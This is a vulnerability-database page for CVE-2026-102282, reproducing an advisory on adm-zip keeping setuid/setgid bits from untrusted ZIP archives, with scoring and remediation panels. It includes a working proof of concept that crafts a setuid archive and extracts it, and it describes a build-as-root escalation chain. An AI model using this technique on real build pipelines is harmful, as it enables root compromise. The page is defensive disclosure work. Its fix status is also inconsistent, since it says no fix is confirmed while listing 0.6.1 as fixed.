CVE-2026-102282

HIGHPre-NVD 7.17.1
EchelonGraph scoreLOW confidence

This high-severity CVE scores 7.1 under the CNA's CVSS (NVD's own analysis pending). EPSS exploit-prediction score not yet available (the EPSS model rescores nightly; freshly-published CVEs typically appear within 48 hours). GitHub Security Advisory data not yet ingested — confidence will rise once GHSA publishes (typical lag: hours to days for open-source ecosystem CVEs; never for infrastructure-only CVEs).

Triggered by: NVD CVSS baseline
Sources: cna:github_m
Elevated
7.1EG
EchelonGraph verdictPlan mitigationSerious severity, but no confirmed exploitation yet.
  • High severity, but no confirmed exploitation yet
CISA-KEV: Not listedEPSS PROB: —CVSS: 7.1Exploit: Elevated riskExposed services: Not assessed

No fix is confirmed yet — apply a workaround or compensating control (WAF / firewall / segmentation) and watch for the fix.

adm-zip extraction preserves SUID/SGID bits from untrusted ZIPs -> local privilege escalation

Summary

adm-zip applies the Unix permission bits stored in a zip entry directly to the extracted file via fs.chmodSync() when keepOriginalPermission=true is passed to extractAllTo()/extractEntryTo() — and it never filters the setuid/setgid/sticky bits out of those bits. A zip crafted by an attacker can therefore produce an extracted binary with mode 04755. When extraction runs as root (the default posture in Docker builds, CI runners, and privileged install steps — the exact environments where this flag is used), the resulting root-owned setuid file is executed later by a lesser-privileged user, turning the attacker's code into a root execution.

Details

The mode a zip entry wants is read back from the external file attributes in the header, and the mask used keeps every special bit:

// headers/entryHeader.js:187
get fileAttr() {
    return (_attr || 0) >> 16 & 0xfff;
}

0xfff is 0o7777 — it preserves setuid (0o4000), setgid (0o2000) and the sticky bit (0o1000) along with the rwx bits. Shifting by 16 is the standard Unix convention for where zip stores the mode; the mask is the problem.

When the flag is on, that value goes straight to the write:

// adm-zip.js:726-727 (extractEntryTo, and identically in extractAllTo)
const fileAttr = keepOriginalPermission ? entry.header.fileAttr : undefined;
filetools.writeFileTo(target, content, overwrite, fileAttr);

// util/utils.js:94
self.fs.chmodSync(path, attr || 0o666);

No & 0o777, no stripping of 0o7000. Attacker-controlled bytes in the zip decide the final mode of a file the library creates on disk. Directory entries are affected too (adm-zip.js:855), so a setgid bit on a directory entry also carries over and gives new files inside it group inheritance.

PoC

Tested against [email protected] (latest as of 2026-08-01), Node 22, Linux.

  • Craft a zip with a setuid binary using standard tooling (this is the
realistic attacker path — no adm-zip APIs involved in creating it):

python3 -c "
import zipfile
zi = zipfile.ZipInfo('pysuidbin')
zi.external_attr = 0o4755 << 16
with zipfile.ZipFile('evil.zip', 'w') as z:
    z.writestr(zi, '#!/bin/sh\nid\n')
"
  • Extract with the flag enabled:

const AdmZip = require('adm-zip');
new AdmZip('evil.zip').extractAllTo('/tmp/out', true, true);

const fs = require('fs'); const st = fs.statSync('/tmp/out/pysuidbin'); console.log((st.mode & 0o7777).toString(8)); // => 4755 (setuid bit set — the file is root-owned if the extractor runs as root)

  • Control — same zip, default extraction (keepOriginalPermission=false):
mode comes out 0666, no setuid. The flag is the enabler.

Alternative supply path, if the zip is built in-process with adm-zip's own API:

const zip = new AdmZip();
zip.addFile('suidbin', Buffer.from('#!/bin/sh\nid\n'), '', 0o4755);
zip.writeZip('evil.zip');
new AdmZip('evil.zip').extractAllTo('/tmp/out', true, true);
// same result: stat mode & 0o7777 === 0o4755

Impact

Privilege escalation. The vulnerability class is CWE-732 (incorrect permission assignment): permission bits taken from untrusted input are applied with no filtering.

Realistic chain:

  • Attacker supplies a zip (upload endpoint, fetched dependency archive, artifact in a build script — no special access needed to produce the file).
  • A pipeline or service extracts it as root with keepOriginalPermission=true. Docker builds run as root by default and CI/install steps commonly do too; this flag is specifically the tooling used in permission-preserving deploy flows.
  • The root-owned setuid file leaves the build, typically preserved by cp -a/rsync mode-bit propagation, into the runtime environment.
  • An unprivileged app user or service account executes it (the standard build-as-root/run-as-user model) — the attacker's code runs as root.

Who is impacted: applications and pipelines that extract untrusted archives with keepOriginalPermission=true while running as root. Default-usage deployments (flag off) are not affected; non-root extraction results in a harmless self-owned setuid file. Severity: Medium

Suggested fix, one line in the getter:

get fileAttr() {
    return (_attr >> 16) & 0o777;
}

CVSS v3
7.1
EG Score
7.1HIGHlow confidence
EG Risk
52
EG Risk 52/100CISA SSVC

EG Risk is EchelonGraph's 0–100 priority score: it fuses intrinsic severity with real-world exploitation and automatability so you can rank equal-severity CVEs and fix the most dangerous first. Higher = act sooner. Distinct from the 0–10 EG Score (severity).

How it’s computed
Severity71% × 45%
Exploitation40% × 40%
Automatability30% × 15%
CISA SSVC: Track at low or medium mission impact; Track* or Attend at high (mission-essential systems).
Action: No fix is confirmed yet. Restrict network exposure of the affected system or apply the vendor's mitigation within your standard update timelines at low or medium mission impact and sooner than that at high, and watch the vendor's advisory for the fix.
EPSS PROB
—
EPSS %ILE
—
KEV
Not listed

CISA SSVCTrack at low or medium mission impact; Track* or Attend at high (mission-essential systems).

No fix is confirmed yet. Restrict network exposure of the affected system or apply the vendor's mitigation within your standard update timelines at low or medium mission impact and sooner than that at high, and watch the vendor's advisory for the fix.

Exploitation public PoC (EG-KEV: elevated) · Automatable unknown (not published for this CVE) · Technical impact partial (CVSS below 9.0). Mission impact is CISA's Mission & Well-being decision point, and only you can judge it: high means the affected system is essential to your organisation's mission, or its compromise could cause irreversible harm to people. CISA's decision table

Published

September 29, 2026

Last Modified

September 29, 2026

Vendor Advisories for CVE-2026-102282(1)

These vendors published their own advisory mentioning this CVE — often with vendor-specific remediation steps + affected product lists not in NVD.

Affected Packages

(1 across 1 ecosystem)
npm(1)
PackageVulnerable rangeFix by version rangeDependents
adm-zip—
  • every version up to 0.6.1: fixed in 0.6.1
—

Data Freshness Timeline

(refreshed 2× in last 7d / 2× in last 30d)

Each row is a source pipeline that fetched or updated this CVE on that date, with what changed. For example, "NVD update" means NVD published or revised its analysis for this CVE; "MITRE cvelistV5" means we ingested or refreshed it from the CNA feed. Most recent first.

  1. 2026-10-02 05:38 UTCEG score recompute
  2. 2026-09-29 19:23 UTCEG score recompute

Publicly available exploits

(1 reference)

Working exploit code is in the public domain (1 GitHub PoC). Defenders should treat patch urgency accordingly — public PoCs typically lead to mass-exploitation within 24-72 hours.

  • GitHub PoCx86byte/adm-zip_LPE-PoC
    First seen Sep 23, 2026

    CVE-2026-102282: Local Privilege Escalation via SUID/SGID preservation during archive extraction

    Open source ↗

Frequently asked(4)

What is CVE-2026-102282?
CVE-2026-102282 is a high vulnerability published on September 29, 2026. adm-zip extraction preserves SUID/SGID bits from untrusted ZIPs -> local privilege escalation Summary adm-zip applies the Unix permission bits stored in a zip entry directly to the extracted file via fs.chmodSync() when keepOriginalPermission=true is passed to extractAllTo()/extractEntryTo() — and…
When was CVE-2026-102282 disclosed?
CVE-2026-102282 was first published on September 29, 2026. EchelonGraph re-ingests CVE updates from NVD on a 2-hour cycle, so this page reflects the latest published state.
What is the CVSS score of CVE-2026-102282?
CVE-2026-102282 has a CVSS base score of 7.1 (the CNA's own assessment, by github_m; NVD's own analysis pending). The EG score is currently aggregating — additional source signals are being incorporated as they become available..
How do I remediate CVE-2026-102282?
No fix for CVE-2026-102282 is confirmed yet. Until one is published, restrict network exposure of the affected system or apply the vendor's mitigation — for example, keep it off the internet or limit it to trusted networks — and watch the vendor's advisory for the fix. The vendor advisories EchelonGraph has for CVE-2026-102282 are linked in the Vendor Advisories panel on this page.

Dependency Blast Radius

See which npm, PyPI, Go, and Maven packages are affected by CVE-2026-102282

Explore →

Is Your Infrastructure Affected by CVE-2026-102282?

EchelonGraph automatically scans your cloud infrastructure and maps CVE exposure using blast radius analysis.